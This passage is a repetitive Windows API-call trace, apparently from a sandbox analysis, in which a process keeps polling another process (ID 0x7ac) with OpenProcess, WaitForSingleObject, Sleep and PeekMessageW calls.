wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.039] Sleep (dwMilliseconds=0x1) [0128.054] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.054] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.070] CloseHandle (hObject=0xad0) returned 1 [0128.070] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.070] Sleep (dwMilliseconds=0x1) [0128.086] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.086] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.103] CloseHandle (hObject=0xad0) returned 1 [0128.103] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.103] Sleep (dwMilliseconds=0x1) [0128.117] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.117] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.132] CloseHandle (hObject=0xad0) returned 1 [0128.132] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.132] Sleep (dwMilliseconds=0x1) [0128.148] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.148] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.170] CloseHandle (hObject=0xad0) returned 1 [0128.170] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.170] Sleep (dwMilliseconds=0x1) [0128.179] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.179] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.195] CloseHandle (hObject=0xad0) returned 1 [0128.195] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.195] Sleep (dwMilliseconds=0x1) [0128.210] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.211] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.226] CloseHandle (hObject=0xad0) returned 1 [0128.226] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.226] Sleep (dwMilliseconds=0x1) [0128.242] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.242] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.257] CloseHandle (hObject=0xad0) returned 1 [0128.257] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.257] Sleep (dwMilliseconds=0x1) [0128.273] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.273] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.288] CloseHandle (hObject=0xad0) returned 1 [0128.289] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.289] Sleep (dwMilliseconds=0x1) [0128.304] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.305] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.319] CloseHandle (hObject=0xad0) returned 1 [0128.319] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.319] Sleep (dwMilliseconds=0x1) [0128.337] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.337] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.350] CloseHandle (hObject=0xad0) returned 1 [0128.351] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.351] Sleep (dwMilliseconds=0x1) [0128.366] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.366] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.382] CloseHandle (hObject=0xad0) returned 1 [0128.382] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.382] Sleep (dwMilliseconds=0x1) [0128.398] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.398] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.413] CloseHandle (hObject=0xad0) returned 1 [0128.413] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.413] Sleep (dwMilliseconds=0x1) [0128.429] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.429] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.449] CloseHandle (hObject=0xad0) returned 1 [0128.457] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.457] Sleep (dwMilliseconds=0x1) [0128.460] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.460] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.475] CloseHandle (hObject=0xad0) returned 1 [0128.475] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.475] Sleep (dwMilliseconds=0x1) [0128.491] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.491] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.506] CloseHandle (hObject=0xad0) returned 1 [0128.506] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.507] Sleep (dwMilliseconds=0x1) [0128.522] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.522] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.538] CloseHandle (hObject=0xad0) returned 1 [0128.538] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.538] Sleep (dwMilliseconds=0x1) [0128.554] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.554] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.580] CloseHandle (hObject=0xad0) returned 1 [0128.580] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.580] Sleep (dwMilliseconds=0x1) [0128.585] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.585] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.600] CloseHandle (hObject=0xad0) returned 1 [0128.600] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.600] Sleep (dwMilliseconds=0x1) [0128.616] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.616] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.631] CloseHandle (hObject=0xad0) returned 1 [0128.631] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.631] Sleep (dwMilliseconds=0x1) [0128.647] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.647] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.673] CloseHandle (hObject=0xad0) returned 1 [0128.673] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.673] Sleep (dwMilliseconds=0x1) [0128.679] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.679] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.694] CloseHandle (hObject=0xad0) returned 1 [0128.694] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.694] Sleep (dwMilliseconds=0x1) [0128.709] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.709] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.725] CloseHandle (hObject=0xad0) returned 1 [0128.725] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.725] Sleep (dwMilliseconds=0x1) [0128.741] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.741] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.756] CloseHandle (hObject=0xad0) returned 1 [0128.756] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.756] Sleep (dwMilliseconds=0x1) [0128.772] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.772] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.787] CloseHandle (hObject=0xad0) returned 1 [0128.787] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.787] Sleep (dwMilliseconds=0x1) [0128.803] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.803] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.824] CloseHandle (hObject=0xad0) returned 1 [0128.824] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.824] Sleep (dwMilliseconds=0x1) [0128.834] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.834] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.850] CloseHandle (hObject=0xad0) returned 1 [0128.850] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.850] Sleep (dwMilliseconds=0x1) [0128.865] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.865] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.881] CloseHandle (hObject=0xad0) returned 1 [0128.881] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.881] Sleep (dwMilliseconds=0x1) [0128.897] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.897] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.919] CloseHandle (hObject=0xad0) returned 1 [0128.919] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.920] Sleep (dwMilliseconds=0x1) [0128.928] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.928] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.943] CloseHandle (hObject=0xad0) returned 1 [0128.944] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.944] Sleep (dwMilliseconds=0x1) [0128.959] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.959] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0128.974] CloseHandle (hObject=0xad0) returned 1 [0128.975] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0128.975] Sleep (dwMilliseconds=0x1) [0128.990] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0128.990] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.006] CloseHandle (hObject=0xad0) returned 1 [0129.006] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.007] Sleep (dwMilliseconds=0x1) [0129.021] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.021] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.039] CloseHandle (hObject=0xad0) returned 1 [0129.039] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.039] Sleep (dwMilliseconds=0x1) [0129.053] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.053] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.074] CloseHandle (hObject=0xad0) returned 1 [0129.074] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.074] Sleep (dwMilliseconds=0x1) [0129.084] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.084] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.099] CloseHandle (hObject=0xad0) returned 1 [0129.099] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.099] Sleep (dwMilliseconds=0x1) [0129.115] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.115] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.131] CloseHandle (hObject=0xad0) returned 1 [0129.131] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.131] Sleep (dwMilliseconds=0x1) [0129.146] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.146] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.162] CloseHandle (hObject=0xad0) returned 1 [0129.162] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.162] Sleep (dwMilliseconds=0x1) [0129.183] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.183] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.193] CloseHandle (hObject=0xad0) returned 1 [0129.193] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.193] Sleep (dwMilliseconds=0x1) [0129.209] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.209] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.224] CloseHandle (hObject=0xad0) returned 1 [0129.224] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.224] Sleep (dwMilliseconds=0x1) [0129.240] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.240] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.255] CloseHandle (hObject=0xad0) returned 1 [0129.255] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.255] Sleep (dwMilliseconds=0x1) [0129.271] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.271] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.286] CloseHandle (hObject=0xad0) returned 1 [0129.287] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.287] Sleep (dwMilliseconds=0x1) [0129.302] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.302] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.319] CloseHandle (hObject=0xad0) returned 1 [0129.319] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.319] Sleep (dwMilliseconds=0x1) [0129.333] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.333] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.349] CloseHandle (hObject=0xad0) returned 1 [0129.349] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.349] Sleep (dwMilliseconds=0x1) [0129.365] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.366] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.380] CloseHandle (hObject=0xad0) returned 1 [0129.380] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.380] Sleep (dwMilliseconds=0x1) [0129.396] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.396] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.411] CloseHandle (hObject=0xad0) returned 1 [0129.412] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.412] Sleep (dwMilliseconds=0x1) [0129.427] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.427] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.455] CloseHandle (hObject=0xad0) returned 1 [0129.455] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.455] Sleep (dwMilliseconds=0x1) [0129.458] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.458] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.474] CloseHandle (hObject=0xad0) returned 1 [0129.474] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.474] Sleep (dwMilliseconds=0x1) [0129.489] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.489] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.505] CloseHandle (hObject=0xad0) returned 1 [0129.505] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.505] Sleep (dwMilliseconds=0x1) [0129.521] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.521] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.536] CloseHandle (hObject=0xad0) returned 1 [0129.536] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.536] Sleep (dwMilliseconds=0x1) [0129.553] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.553] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.587] CloseHandle (hObject=0xad0) returned 1 [0129.587] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.587] Sleep (dwMilliseconds=0x1) [0129.601] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.601] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.614] CloseHandle (hObject=0xad0) returned 1 [0129.614] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.614] Sleep (dwMilliseconds=0x1) [0129.630] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.630] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.645] CloseHandle (hObject=0xad0) returned 1 [0129.645] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.645] Sleep (dwMilliseconds=0x1) [0129.673] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.673] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.678] CloseHandle (hObject=0xad0) returned 1 [0129.678] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.678] Sleep (dwMilliseconds=0x1) [0129.692] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.692] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.708] CloseHandle (hObject=0xad0) returned 1 [0129.708] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.708] Sleep (dwMilliseconds=0x1) [0129.723] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.724] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.739] CloseHandle (hObject=0xad0) returned 1 [0129.739] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.739] Sleep (dwMilliseconds=0x1) [0129.755] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.755] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.770] CloseHandle (hObject=0xad0) returned 1 [0129.770] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.770] Sleep (dwMilliseconds=0x1) [0129.789] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.789] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.801] CloseHandle (hObject=0xad0) returned 1 [0129.801] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.801] Sleep (dwMilliseconds=0x1) [0129.817] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.817] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.832] CloseHandle (hObject=0xad0) returned 1 [0129.832] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.833] Sleep (dwMilliseconds=0x1) [0129.848] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.848] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.864] CloseHandle (hObject=0xad0) returned 1 [0129.864] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.864] Sleep (dwMilliseconds=0x1) [0129.879] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.880] WaitForSingleObject (hHandle=0xad0, 